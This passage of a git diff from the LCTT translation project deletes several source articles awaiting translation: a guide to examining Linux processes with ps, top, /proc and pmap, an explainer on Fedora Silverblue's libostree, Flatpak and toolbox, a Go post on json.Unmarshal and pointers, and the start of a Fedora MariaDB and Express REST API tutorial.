MY_PROXY=MY_PROXY= -ENV http_proxy=$MY_PROXY -ENV https_proxy=$MY_PROXY -``` - -### Summary - -These techniques have helped me significantly reduce the time it takes to create container images and debug them when they go wrong. I continue to be on the lookout for additional best practices to add to my list. I hope you find the above techniques useful. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/optimize-container-builds - -作者:[Ravi Chandran][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ravichandran -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/toolbox-learn-draw-container-yearbook.png?itok=xDbwz1pP (Toolbox drawing of a container) -[2]: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/ -[3]: https://github.com/ravi-chandran/dockerize-tutorial -[4]: https://opensource.com/article/20/4/how-containerize-build-system -[5]: https://podman.io/getting-started/installation -[6]: https://docs.docker.com/develop/develop-images/multistage-build/ -[7]: https://github.com/ravi-chandran/dockerize-tutorial/blob/master/tutorial2_docker_tricks/ -[8]: https://github.com/ravi-chandran/dockerize-tutorial/ -[9]: https://repo.anaconda.com/archive/Anaconda3-2019.10-Linux-x86_64.sh -[10]: https://stackoverflow.com/a/37214138 -[11]: https://github.com/ravi-chandran/dockerize-tutorial/blob/master/tutorial2_docker_tricks/install_anaconda.dockerfile -[12]: https://docs.docker.com/engine/reference/builder/#user -[13]: https://github.com/ravi-chandran/dockerize-tutorial/blob/master/tutorial2_docker_tricks/build_docker_image.sh -[14]: https://docs.docker.com/engine/faq/ -[15]: https://github.com/ravi-chandran/dockerize-tutorial/blob/master/tutorial2_docker_tricks/run_container.sh diff --git a/sources/tech/20200515 How to examine processes running on Linux.md b/sources/tech/20200515 How to examine processes running on Linux.md deleted file mode 100644 index 0659ab04f9..0000000000 --- a/sources/tech/20200515 How to examine processes running on Linux.md +++ /dev/null @@ -1,232 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to examine processes running on Linux) -[#]: via: (https://www.networkworld.com/article/3543232/how-to-examine-processes-running-on-linux.html) -[#]: author: (Sandra Henry-Stocker https://www.networkworld.com/author/Sandra-Henry_Stocker/) - -How to examine processes running on Linux -====== - -Thinkstock - -There are quite a number of ways to look at running processes on Linux systems – to see what’s running, the resources that processes are using, how the system is affected by the load and how memory is being used. Each command gives you a different view, and the range of details is considerable. In this post, we’ll run through a series of commands that can help you view process details in a number of different ways. - -### ps - -While the **ps** command is the most obvious command for examining processes, the arguments that you use when running **ps** will make a big difference in how much information will be provided. With no arguments, **ps** will only show processes associated with your current login session. Add a **-u** and you'll see extended details. - -Here is a comparison: - -``` -nemo$ ps - PID TTY TIME CMD - 45867 pts/1 00:00:00 bash - 46140 pts/1 00:00:00 ps -nemo$ ps -u -USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND -nemo 45867 0.0 0.0 11232 5636 pts/1 Ss 19:04 0:00 -bash -nemo 46141 0.0 0.0 11700 3648 pts/1 R+ 19:16 0:00 ps -u -``` - -Using **ps -ef** will display details on all of the processes running on the system but **ps -eF** will add some additional details. - -``` -$ ps -ef | head -2 -UID PID PPID C STIME TTY TIME CMD -root 1 0 0 May10 ? 00:00:06 /sbin/init splash -$ ps -eF | head -2 -UID PID PPID C SZ RSS PSR STIME TTY TIME CMD -root 1 0 0 42108 12524 0 May10 ? 00:00:06 /sbin/init splash -``` - -Both commands show who is running the process, the process and parent process IDs, process start time, accumulated run time and the task being run. The additional fields shown when you use **F** instead of **f** include: - - * SZ: the process **size** in physical pages for the core image of the process - * RSS: the **resident set size** which shows how much memory is allocated to those parts of the process in RAM. It does not include memory that is swapped out, but does include memory from shared libraries as long as the pages from those libraries are currently in memory. It also includes stack and heap memory. - * PSR: the **processor** the process is using - - - -##### ps -fU - -You can list processes for some particular user with a command like "ps -ef | grep USERNAME", but with **ps -fU** command, you’re going to see considerably more data. This is because details of processes that are being run on the user's behalf are also included. In fact, nearly all these processes shown have been kicked off by system simply to support this user’s online session. Nemo has only just logged in and is not yet running any commands or scripts. - -``` -$ ps -fU nemo -UID PID PPID C STIME TTY TIME CMD -nemo 45726 1 0 19:04 ? 00:00:00 /lib/systemd/systemd --user -nemo 45732 45726 0 19:04 ? 00:00:00 (sd-pam) -nemo 45738 45726 0 19:04 ? 00:00:00 /usr/bin/pulseaudio --daemon -nemo 45740 45726 0 19:04 ? 00:00:00 /usr/libexec/tracker-miner-f -nemo 45754 45726 0 19:04 ? 00:00:00 /usr/bin/dbus-daemon --sessi -nemo 45829 45726 0 19:04 ? 00:00:00 /usr/libexec/gvfsd -nemo 45856 45726 0 19:04 ? 00:00:00 /usr/libexec/gvfsd-fuse /run -nemo 45862 45706 0 19:04 ? 00:00:00 sshd: nemo@pts/1 -nemo 45864 45726 0 19:04 ? 00:00:00 /usr/libexec/gvfs-udisks2-vo -nemo 45867 45862 0 19:04 pts/1 00:00:00 -bash -nemo 45878 45726 0 19:04 ? 00:00:00 /usr/libexec/gvfs-afc-volume -nemo 45883 45726 0 19:04 ? 00:00:00 /usr/libexec/gvfs-goa-volume -nemo 45887 45726 0 19:04 ? 00:00:00 /usr/libexec/goa-daemon -nemo 45895 45726 0 19:04 ? 00:00:00 /usr/libexec/gvfs-mtp-volume -nemo 45896 45726 0 19:04 ? 00:00:00 /usr/libexec/goa-identity-se -nemo 45903 45726 0 19:04 ? 00:00:00 /usr/libexec/gvfs-gphoto2-vo -nemo 45946 45726 0 19:04 ? 00:00:00 /usr/libexec/gvfsd-metadata -``` - -Note that the only process with an assigned TTY is Nemo's shell and that the parent of all of the other processes is **systemd**. - -You can supply a comma-separated list of usernames instead of a single name. Just be prepared to be looking at quite a bit more data. - -#### top and ntop - -The **top** and **ntop** commands will help when you want to get an idea which processes are using the most resources and allow you to reorder your view depending on what criteria you want to use to rank the processes (e.g., highest CPU or memory use). - -``` -top - 11:51:27 up 1 day, 21:40, 1 user, load average: 0.08, 0.02, 0.01 -Tasks: 211 total, 1 running, 210 sleeping, 0 stopped, 0 zombie -%Cpu(s): 5.0 us, 0.5 sy, 0.0 ni, 94.3 id, 0.2 wa, 0.0 hi, 0.0 si, 0.0 st -MiB Mem : 5944.4 total, 3527.4 free, 565.1 used, 1851.9 buff/cache -MiB Swap: 2048.0 total, 2048.0 free, 0.0 used. 5084.3 avail Mem - - PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND - 999 root 20 0 394660 14380 10912 S 8.0 0.2 0:46.54 udisksd - 65224 shs 20 0 314268 9824 8084 S 1.7 0.2 0:00.34 gvfs-ud+ - 2034 gdm 20 0 314264 9820 7992 S 1.3 0.2 0:06.25 gvfs-ud+ - 67909 root 20 0 0 0 0 I 0.3 0.0 0:00.09 kworker+ - 1 root 20 0 168432 12532 8564 S 0.0 0.2 0:09.93 systemd - 2 root 20 0 0 0 0 S 0.0 0.0 0:00.02 kthreadd -``` - -Use **shift+m** to sort by memory use and **shift+p** to go back to sorting by CPU usage (the default). - -#### /proc - -A tremendous amount of information is available on running processes in the **/proc** directory. In fact, if you haven't visited **/proc** quite a few times, you might be astounded by the amount of details available. Just keep in mind that **/proc** is a very different kind of file system. As an interface to kernel data, it provides a view of process details that are currently being used by the system. - -Some of the more useful **/proc** files for viewing include **cmdline**, **environ**, **fd**, **limits** and **status**. The following views provide some samples of what you might see. - -The **status** file shows the process that is running (bash), its status, the user and group ID for the person running bash, a full list of the groups the user is a member of and the process ID and parent process ID. - -``` -$ head -11 /proc/65333/status -Name: bash -Umask: 0002 -State: S (sleeping) -Tgid: 65333 -Ngid: 0 -Pid: 65333 -PPid: 65320 -TracerPid: 0 -Uid: 1000 1000 1000 1000 -Gid: 1000 1000 1000 1000 -FDSize: 256 -Groups: 4 11 24 27 30 46 118 128 500 1000 -... -``` - -The **cmdline** file shows the command line used to start the process. - -``` -$ cat /proc/65333/cmdline --bash -``` - -The **environ** file shows the environment variables that are in effect. - -``` -$ cat environ -USER=shsLOGNAME=shsHOME=/home/shsPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/gamesSHELL=/bin/bashTERM=xtermXDG_SESSION_ID=626XDG_RUNTIME_DIR=/run/user/1000DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/busXDG_SESSION_TYPE=ttyXDG_SESSION_CLASS=userMOTD_SHOWN=pamLANG=en_US.UTF-8SSH_CLIENT=192.168.0.19 9385 22SSH_CONNECTION=192.168.0.19 9385 192.168.0.11 22SSH_TTY=/dev/pts/0$ -``` - -The **fd** file shows the file descriptors. Note how they reflect the pseudo-tty that is being used (pts/0). - -``` -$ ls -l /proc/65333/fd -total 0 -lrwx------ 1 shs shs 64 May 12 09:45 0 -> /dev/pts/0 -lrwx------ 1 shs shs 64 May 12 09:45 1 -> /dev/pts/0 -lrwx------ 1 shs shs 64 May 12 09:45 2 -> /dev/pts/0 -lrwx------ 1 shs shs 64 May 12 09:56 255 -> /dev/pts/0 -$ who -shs pts/0 2020-05-12 09:45 (192.168.0.19) -``` - -The **limits** file contains information about the limits imposed on the process. - -``` -$ cat limits -Limit Soft Limit Hard Limit Units -Max cpu time unlimited unlimited seconds -Max file size unlimited unlimited bytes -Max data size unlimited unlimited bytes -Max stack size 8388608 unlimited bytes -Max core file size 0 unlimited bytes -Max resident set unlimited unlimited bytes -Max processes 23554 23554 processes -Max open files 1024 1048576 files -Max locked memory 67108864 67108864 bytes -Max address space unlimited unlimited bytes -Max file locks unlimited unlimited locks -Max pending signals 23554 23554 signals -Max msgqueue size 819200 819200 bytes -Max nice priority 0 0 -Max realtime priority 0 0 -Max realtime timeout unlimited unlimited us -``` - -#### pmap - -The **pmap** command takes you in an entirely different direction when it comes to memory use. It provides a detailed map of a process’s memory usage. To make sense of this, you need to keep in mind that processes do not run entirely on their own. Instead, they make use of a wide range of system resources. The truncated **pmap** output below shows a portion of the memory map for a single user’s bash login along with some memory usage totals at the bottom. - -``` -$ pmap -x 43120 -43120: -bash -Address Kbytes RSS Dirty Mode Mapping -000055887655b000 180 180 0 r---- bash -0000558876588000 708 708 0 r-x-- bash -0000558876639000 220 148 0 r---- bash -0000558876670000 16 16 16 r---- bash -0000558876674000 36 36 36 rw--- bash -000055887667d000 40 28 28 rw--- [ anon ] -0000558876b96000 1328 1312 1312 rw--- [ anon ] -00007f0bd9a7e000 28 28 0 r---- libpthread-2.31.so -00007f0bd9a85000 68 68 0 r-x-- libpthread-2.31.so -00007f0bd9a96000 20 0 0 r---- libpthread-2.31.so -00007f0bd9a9b000 4 4 4 r---- libpthread-2.31.so -00007f0bd9a9c000 4 4 4 rw--- libpthread-2.31.so -00007f0bd9a9d000 16 4 4 rw--- [ anon ] -00007f0bd9aa1000 20 20 0 r---- libnss_systemd.so.2 -00007f0bd9aa6000 148 148 0 r-x-- libnss_systemd.so.2 -... -ffffffffff600000 4 0 0 --x-- [ anon ] ----------------- ------- ------- ------- -total kB 11368 5664 1656 - -Kbytes: size of map in kilobytes -RSS: resident set size in kilobytes -Dirty: dirty pages (both shared and private) in kilobytes -``` -``` - -``` - -Join the Network World communities on [Facebook][1] and [LinkedIn][2] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3543232/how-to-examine-processes-running-on-linux.html - -作者:[Sandra Henry-Stocker][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Sandra-Henry_Stocker/ -[b]: https://github.com/lujun9972 -[1]: https://www.facebook.com/NetworkWorld/ -[2]: https://www.linkedin.com/company/network-world diff --git a/sources/tech/20200515 The pieces of Fedora Silverblue.md b/sources/tech/20200515 The pieces of Fedora Silverblue.md deleted file mode 100644 index 04bd4e1643..0000000000 --- a/sources/tech/20200515 The pieces of Fedora Silverblue.md +++ /dev/null @@ -1,172 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The pieces of Fedora Silverblue) -[#]: via: (https://fedoramagazine.org/pieces-of-fedora-silverblue/) -[#]: author: (Nick Hardiman https://fedoramagazine.org/author/nickhardiman/) - -The pieces of Fedora Silverblue -====== - -![][1] - -Fedora Silverblue provides a useful workstation build on an immutable operating system. In “[What is Silverblue?][2]“, you learned about the benefits that an immutable OS provides. But what pieces go into making it? This article examines some of the technology that powers Silverblue. - -### The filesystem - -Fedora Workstation users may find the idea of an immutable OS to be the most brain-melting part of Silverblue. What does that mean? Find some answers by taking a look at the filesystem. - -At first glance, the layout looks pretty much the same as a regular Fedora file system. It has some differences, like making _/home_ a symbolic link to _/var/home_. And you can get more answers by looking at how libostree works. libostree treats the whole tree like it’s an object, checks it into a code repository, and checks out a copy for your machine to use. - -#### libostree - -The [libostree project][3] supplies the goods for managing Silverblue’s file system. It is an upgrade system that the user can control using [rpm-ostree commands][4]. - -libostree knows nothing about packages—an upgrade means replacing one complete file system with another complete file system. libostree treats the file system tree as one atomic object (an unbreakable unit). In fact, the forerunner to Silverblue was named [Project Atomic][5]. - -The libostree project provides a library and set of tools. It’s an upgrade system that carries out these tasks. - - 1. Pull in a new file system - 2. Store the new file system - 3. Deploy the new file system - - - -##### Pull in a new file system - -Pulling in a new file system means copying an object (the entire file system) from a remote source to its own store. If you’ve worked with virtual machine image files, you already understand the concept of a file system object that you can copy. - -##### Store the new file system - -The libostree store has some source code control qualities—it stores many file system objects, and checks one out to be used as the root file system. libostree’s store has two parts: - - * a repository database at _/sysroot/ostree/repo/_ - * file systems in _/sysroot/ostree/deploy/fedora/deploy/_ - - - -libostree keeps track of what’s been checked in using commit IDs. Each commit ID can be found in a directory name, nested deep inside _/sysroot_ .A libostree commit ID is a long checksum, and looks similar to a git commit ID. - -``` -$ ls -d /sysroot/ostree/deploy/fedora/deploy/*/ -/sysroot/ostree/deploy/fedora/deploy/c4bf7a6339e6be97d0ca48a117a1a35c9c5e3256ae2db9e706b0147c5845fac4.0/ -``` - -_rpm-ostree status_ gives a little more information about that commit ID. The output is a little confusing; it can take a while to see this file system is Fedora 31. - -``` -$ rpm-ostree status -State: idle -AutomaticUpdates: disabled -Deployments: -● ostree://fedora:fedora/31/x86_64/silverblue - Version: 31.1.9 (2019-10-23T21:44:48Z) - Commit: c4bf7a6339e6be97d0ca48a117a1a35c9c5e3256ae2db9e706b0147c5845fac4 - GPGSignature: Valid signature by 7D22D5867F2A4236474BF7B850CB390B3C3359C4 -``` - -##### Deploy the new filesystem - -libostree deploys a new file system by checking out the new object from its store. libostree doesn’t check out a file system by copying all the files—it uses hard links instead. If you look inside the commit ID directory, you see something that looks suspiciously like the root directory. That’s because it _is_ the root directory. You can see these two directories are pointing to the same place by checking their inodes. - -``` -$ ls -di1 / /sysroot/ostree/deploy/fedora/deploy/*/ -260102 / -260102 /sysroot/ostree/deploy/fedora/deploy/c4bf7a6339e6be97d0ca48a117a1a35c9c5e3256ae2db9e706b0147c5845fac4.0/ -``` - -This is a fresh install, so there’s only one commit ID. After a system update, there will be two. If more copies of the file system are checked into libostree’s repo, more commit IDs appear here. - -##### Upgrade process - -Putting the pieces together, the update process looks like this: - - 1. libostree checks out a copy of the file system object from the repository - 2. DNF installs packages into the copy - 3. libostree checks in the copy as a new object - 4. libostree checks out the copy to become the new file system - 5. You reboot to pick up the new system files - - - -In addition to more safety, there is more flexibility. You can do new things with libostree’s repo, like store a few different file systems and check out whichever one you feel like using. - -#### Silverblue’s root file system - -Fedora keeps its system files in all the usual Linux places, such as _/boot_ for boot files, _/etc_ for configuration files, and _/home_ for user home directories. The root directory in Silverblue looks much like the root directory in traditional Fedora, but there are some differences. - - * The filesystem has been checked out by libostree - * Some directories are now symbolic links to new locations. For example, _/home_ is a symbolic link to _/var/home_ - * _/usr_ is a read-only directory - * There’s a new directory named _/sysroot_. This is libostree’s new home - - - -#### Juggling file systems - -You can store many file systems and switch between them. This is called _rebasing_, and it’s similar to git rebasing. In fact, upgrading Silverblue to the next Fedora version is not a big package install—it’s a pull from a remote repository and a rebase. - -You could store three copies with three different desktops: one KDE, one GNOME, and one XFCE. Or three different OS versions: how about keeping the current version, the nightly build, and an old classic? Switching between them is a matter of rebasing to the appropriate file system object. - -Rebasing is also how you upgrade from one Fedora release to the next. See “[How to rebase to Fedora 32 on Silverblue][6]” for more information. - -### Flatpak - -The [Flatpak project][7] provides a way of installing applications like LibreOffice. Applications are pulled from remote repositories like [Flathub][8]. It’s a kind of package manager, although you won’t find the word _package_ in the [docs][9]. Traditional Fedora variants like Fedora Workstation can also use Flatpak, but the sandboxed nature of flatpaks make it particularly good for Silverblue. This way you do not have to do the entire ostree update process every time you wish to install an application. - -Flatpak is well-suited to desktop applications, but also works for command line applications. You can install the [vim][10] editor with the command _flatpak install flathub org.vim.Vim_ and run it with _flatpak run org.vim.Vim_. - -### toolbox - -The [toolbox project][11] provides a traditional operating system inside a container. The idea is that you can mess with the mutable OS inside your toolbox (the Fedora container) as much as you like, and leave the immutable OS outside your toolbox untouched. You pack as many toolboxes as you want on your system, so you can keep work separated. Behind the scenes, the executable _/usr/bin/toolbox_ is a shell script that uses [podman][12]. - -A fresh install does not include a default toolbox. The _toolbox create_ command checks the OS version (by reading _/usr/lib/os-release_), looks for a matching version at the Fedora container registry, and downloads the container. - -``` -$ toolbox create -Image required to create toolbox container. -Download registry.fedoraproject.org/f31/fedora-toolbox:31 (500MB)? [y/N]: y -Created container: fedora-toolbox-31 -Enter with: toolbox enter -``` - -Hundreds of packages are installed inside the toolbox. The _dnf_ command and the usual Fedora repos are set up, ready to install more. The _ostree_ and _rpm-ostree_ commands are not included – no immutable OS here. - -Each user’s home directory is mounted on their toolbox, for storing content files outside the container. - -### Put the pieces together - -Spend some time exploring Fedora Silverblue and it will become clear how these components fit together. Like other Fedora variants, all these of tools come from open source projects. You can get as up close and personal as you want, from reading their docs to contributing code. Or you can [contribute to Silverblue][13] itself. - -Join the Fedora Silverblue conversations on [discussion.fedoraproject.org][14] or in [#silverblue on Freenode IRC][15]. - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/pieces-of-fedora-silverblue/ - -作者:[Nick Hardiman][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/nickhardiman/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/04/silverblue-pieces-816x345.png -[2]: https://fedoramagazine.org/what-is-silverblue/ -[3]: https://ostree.readthedocs.io/en/latest/ -[4]: https://rpm-ostree.readthedocs.io/en/latest/manual/administrator-handbook/#administering-an-rpm-ostree-based-system -[5]: https://www.projectatomic.io/ -[6]: https://fedoramagazine.org/how-to-rebase-to-fedora-32-on-silverblue/ -[7]: https://github.com/flatpak/flatpak -[8]: https://flathub.org/ -[9]: http://docs.flatpak.org/en/latest/index.html -[10]: https://www.vim.org/ -[11]: https://github.com/containers/toolbox -[12]: https://github.com/containers/libpod -[13]: https://silverblue.fedoraproject.org/contribute -[14]: https://discussion.fedoraproject.org/c/desktop/silverblue -[15]: https://webchat.freenode.net/#silverblue diff --git a/sources/tech/20200516 Fatih-s question.md b/sources/tech/20200516 Fatih-s question.md deleted file mode 100644 index 1225c624a8..0000000000 --- a/sources/tech/20200516 Fatih-s question.md +++ /dev/null @@ -1,214 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Fatih’s question) -[#]: via: (https://dave.cheney.net/2020/05/16/fatihs-question) -[#]: author: (Dave Cheney https://dave.cheney.net/author/davecheney) - -Fatih’s question -====== - -A few days ago Fatih posted [this question][1] on twitter. - -I’m going to attempt to give my answer, however to do that I need to apply some simplifications as my previous attempts to answer it involved a lot of phrases like _a pointer to a pointer_, and other unhelpful waffling. Hopefully my simplified answer can be useful in building a mental framework to answer Fatih’s original question. - -### Restating the question - -Fatih’s original tweet showed [four different variations][2] of `json.Unmarshal`. I’m going to focus on the last two, which I’ll rewrite a little: - -``` -package main - -import ( - "encoding/json" - "fmt" -) - -type Result struct { - Foo string `json:"foo"` -} - -func main() { - content := []byte(`{"foo": "bar"}`) - var result1, result2 *Result - - err := json.Unmarshal(content, &result1) - fmt.Println(result1, err) // &{bar} - - err = json.Unmarshal(content, result2) - fmt.Println(result2, err) // json: Unmarshal(nil *main.Result) -} -``` - -Restated in words, `result1` and `result2` are the same type; `*Result`. Decoding into `result1` works as expected, whereas decoding into `result2` causes the `json` package to complain that the value passed to `Unmarshal` is `nil`. However, both values were declared without an initialiser so both would have taken on the type’s zero value, `nil`. - -Eagle eyed readers will have spotted that the reason for the difference is the first` `invocation is passed `&result1`, while the second is passed `result2`, but this explanation is unsatisfactory because the documentation for `json.Unmarshal` states: - -> Unmarshal parses the JSON-encoded data and stores the result in the value pointed to by v. **If v is nil or not a pointer**, Unmarshal returns an InvalidUnmarshalError. - -Which is confusing because `result1` and `result2` _are_ pointers. Furthermore, without initialisation, both _are_ `nil`. Now, the documentation is correct (as you’d expect from a package that has been hammered on for a decade), but explaining _why_ takes a little more investigation. - -### Functions receive a copy of their arguments - -Every assignment in Go is a copy, this includes function arguments and return values. - -``` -package main - -import ( - "fmt" -) - -func increment(v int) { - v++ -} - -func main() { - v := 1 - increment(v) - fmt.Println(v) // 1 -} -``` - -In this example, `increment` is operating on a _copy_ of `main`‘s `v`. This is because the `v` declared in `main` and `increment`‘s `v` parameter have different addresses in memory. Thus changes to `increment`‘s `v` cannot affect the contents of `main`‘s `v`. - -``` -package main - -import ( - "fmt" -) - -func increment(v *int) { - *v++ -} - -func main() { - v := 1 - increment(&v) - fmt.Println(v) // 2 -} -``` - -If we wanted to write `increment` in a way that it could affect the contents of its caller we would need to pass a reference, a pointer, to `main.v`.[1][3] This example demonstrates why `json.Unmarshal` needs a pointer to the value to decode JSON into. - -### Pointers to pointers - -Returning to the original question, both `result1` and `result2` are declared as `*Result`, that is, pointers to a `Result` value. We established that you have to pass the address of caller’s value to `json.Unmarshal` otherwise it won’t be able to alter the contents of the caller’s value. Why then must we pass the address of `result1`, a `**Result`, a pointer to a pointer to a `Result`, for the operation to succeed. - -To explain this another detour is required. Consider this code: - -``` -package main - -import ( - "encoding/json" - "fmt" -) - -type Result struct { - Foo *string `json:"foo"` -} - -func main() { - content := []byte(`{"foo": "bar"}`) - var result1 *Result - - err := json.Unmarshal(content, &result1) - fmt.Printf("%#v %v", result1, err) // &main.Result{Foo:(*string)(0xc0000102f0)} -} -``` - -In this example `Result` contains a pointer typed field, `Foo *string`. During JSON decoding `Unmarshal` allocated a new `string` value, stored the value `bar` in it, then placed the address of the string in `Result.Foo`. This behaviour is quite handy as it frees the caller from having to initialise `Result.Foo` and makes it easier to detect when a field was not initialised because the JSON did not contain a value. Beyond the convenience this offers for simple examples it would be prohibitively difficult for the caller to properly initialise all the reference type fields in a structure before decoding unknown JSON without first inspecting the incoming JSON which itself may be problematic if the input is coming from an `io.Reader` without the ability to rewind the input. - -> To unmarshal JSON into a pointer, Unmarshal first handles the case of the JSON being the JSON literal null. In that case, Unmarshal sets the pointer to nil. Otherwise, Unmarshal unmarshals the JSON into the value pointed at by the pointer. **If the pointer is nil, Unmarshal allocates a new value for it to point to**. - -`json.Unmarshal`‘s handling of pointer fields is clearly documented, and works as you would expect, allocating a new value whenever there is a need to decode into a pointer shaped field. It is this behaviour that gives us a hint to what is happening in the original example. - -We’ve seen that when `json.Unmarshal` encounters a field which points to `nil` it will allocate a new value of the correct type and assign its address the field before proceeding. Not only is does behaviour is applied recursively–for example in the case of a complex structure which contains pointers to other structures–but it also applies to the _value passed to `Unmarshal`._ - -``` -package main - -import ( - "encoding/json" - "fmt" -) - -func main() { - content := []byte(`1`) - var result *int - - err := json.Unmarshal(content, &result) - fmt.Println(*result, err) // 1 -} -``` - -In this example `result` is not a struct, but a simple `*int` which, lacking an initialiser, defaults to `nil`. After JSON decoding, `result` now points to an `int` with the value `1`. - -### Putting the pieces together - -Now I think I’m ready to take a shot at answering Fatih’s question. - -`json.Unmarshal` requires the address of the variable you want to decode into, otherwise it would decode into a temporary copy which would be discard on return. Normally this is done by declaring a value, then passing its address, or explicitly initialising the the value - -``` -var result1 Result -err := json.Unmarshal(content, &result1) // this is fine - -var result2 = new(Result) -err = json.Unmarshal(content, result2) // and this - -var result3 = &Result{} -err = json.Unmarshal(content, result3) // this is also fine -``` - -In all three cases the address that the `*Result` points too is not `nil`, it points to initialised memory that `json.Unmarshal` decodes into. - -Now consider what happens when `json.Unmarshal` encounters this - -``` -var result4 *Result -err = json.Unmarshal(content, result4) // err json: Unmarshal(nil *main.Result) -``` - -`result2`, `result3`, and the expression `&result1` point to a `Result`. However `result4`, even though it has the same type as the previous three, does not point to initialised memory, it points to `nil`. Thus, according to the examples we saw previously, before `json.Unmarshal` can decode into it, the memory `result4` points too must be initialised. - -However, because each function receives a copy of its arguments, the caller’s `result4` variable and the copy inside `json.Unmarshal` are unique. `json.Unmarshal` can allocate a new `Result` value and decode into it, but it cannot alter `result4` to point to this new value because it was not provided with a reference to `result4`, only a copy of its contents. - - 1. This does not violate the _everything is a copy_ rule, a copy of a pointer to `main.v` still points to `main.v`.[][4] - - - -#### Related posts: - - 1. [Should methods be declared on T or *T][5] - 2. [Ice cream makers and data races][6] - 3. [Understand Go pointers in less than 800 words or your money back][7] - 4. [Slices from the ground up][8] - - - --------------------------------------------------------------------------------- - -via: https://dave.cheney.net/2020/05/16/fatihs-question - -作者:[Dave Cheney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://dave.cheney.net/author/davecheney -[b]: https://github.com/lujun9972 -[1]: https://twitter.com/fatih/status/1260683136842608640 -[2]: https://play.golang.org/p/g2yUIYrV67F -[3]: tmp.dRxkHxYRQS#easy-footnote-bottom-1-4153 (This does not violate the everything is a copy rule, a copy of a pointer to main.v still points to main.v.) -[4]: tmp.dRxkHxYRQS#easy-footnote-1-4153 -[5]: https://dave.cheney.net/2016/03/19/should-methods-be-declared-on-t-or-t (Should methods be declared on T or *T) -[6]: https://dave.cheney.net/2014/06/27/ice-cream-makers-and-data-races (Ice cream makers and data races) -[7]: https://dave.cheney.net/2017/04/26/understand-go-pointers-in-less-than-800-words-or-your-money-back (Understand Go pointers in less than 800 words or your money back) -[8]: https://dave.cheney.net/2018/07/12/slices-from-the-ground-up (Slices from the ground up) diff --git a/sources/tech/20200518 Using Fedora to implement REST API in JavaScript- part 2.md b/sources/tech/20200518 Using Fedora to implement REST API in JavaScript- part 2.md deleted file mode 100644 index b02822c4fa..0000000000 --- a/sources/tech/20200518 Using Fedora to implement REST API in JavaScript- part 2.md +++ /dev/null @@ -1,208 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Using Fedora to implement REST API in JavaScript: part 2) -[#]: via: (https://fedoramagazine.org/using-fedora-to-implement-rest-api-in-javascript-part-2/) -[#]: author: (Vaclav Keil https://fedoramagazine.org/author/vaclavk/) - -Using Fedora to implement REST API in JavaScript: part 2 -====== - -![][1] - -In [part 1][2] previously, you saw how to quickly create a simple API service using Fedora Workstation, Express, and JavaScript. This article shows you the simplicity of how to create a new API. This part shows you how to: - - * Install a DB server - * Build a new route - * Connect a new datasource - * Use Fedora terminal to send and receive data - - - -### Generating an app - -Please refer to the [previous article][2] for more details. But to make things simple, change to your work directory and generate an app skeleton. -``` - -``` - -$ cd our-work-directory -$ npx express-generator –no-view –git /myApp -$ cd myApp -$ npm i -``` - -``` - -### Installing a database server - -In this part, we’ll install MariaDB database. MariaDB is the Fedora default database. - -``` -$ dnf module list mariadb | sort -u ## lists the streams available -$ sudo dnf module install mariadb:10.3 ##10.4 is the latest -``` - -_Note: the default profile is mariadb/server_. - -For those who need to spin up a Docker container a ready made container with Fedora 31 is available. - -``` -$ docker pull registry.fedoraproject.org/f31/mariadb -$ docker run -d --name mariadb_database -e MYSQL_USER=user -e MYSQL_PASSWORD=pass -e MYSQL_DATABASE=db -p 3306:3306 registry.fedoraproject.org/f31/mariadb -``` - -Now start the MariaDB service. - -``` -$ sudo systemctl start mariadb -``` - -If you’d like the service to start at boot, you can also enable it in systemd: - -``` -$ sudo systemctl enable mariadb ## start at boot -``` - -Next, setup the database as needed: - -``` -$ mysql -u root -p ## root password is blank -MariaDB> CREATE DATABASE users; -MariaDB> create user dbuser identified by ‘123456‘; -MariaDB> grant select, insert, update, create, drop on users.* to dbuser; -MariaDB> show grants for dbuser; -MariaDB> \q -``` - -A database connector is needed to use the database with Node.js. - -``` -$ npm install mariadb ## installs MariaDB Node.js connector -``` - -We’ll leverage Sequelize in this sample API. Sequelize is a promise-based Node.js ORM (Object Relational Mapper) for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server. - -``` -$ npm install sequelize ## installs Sequelize -``` - -### 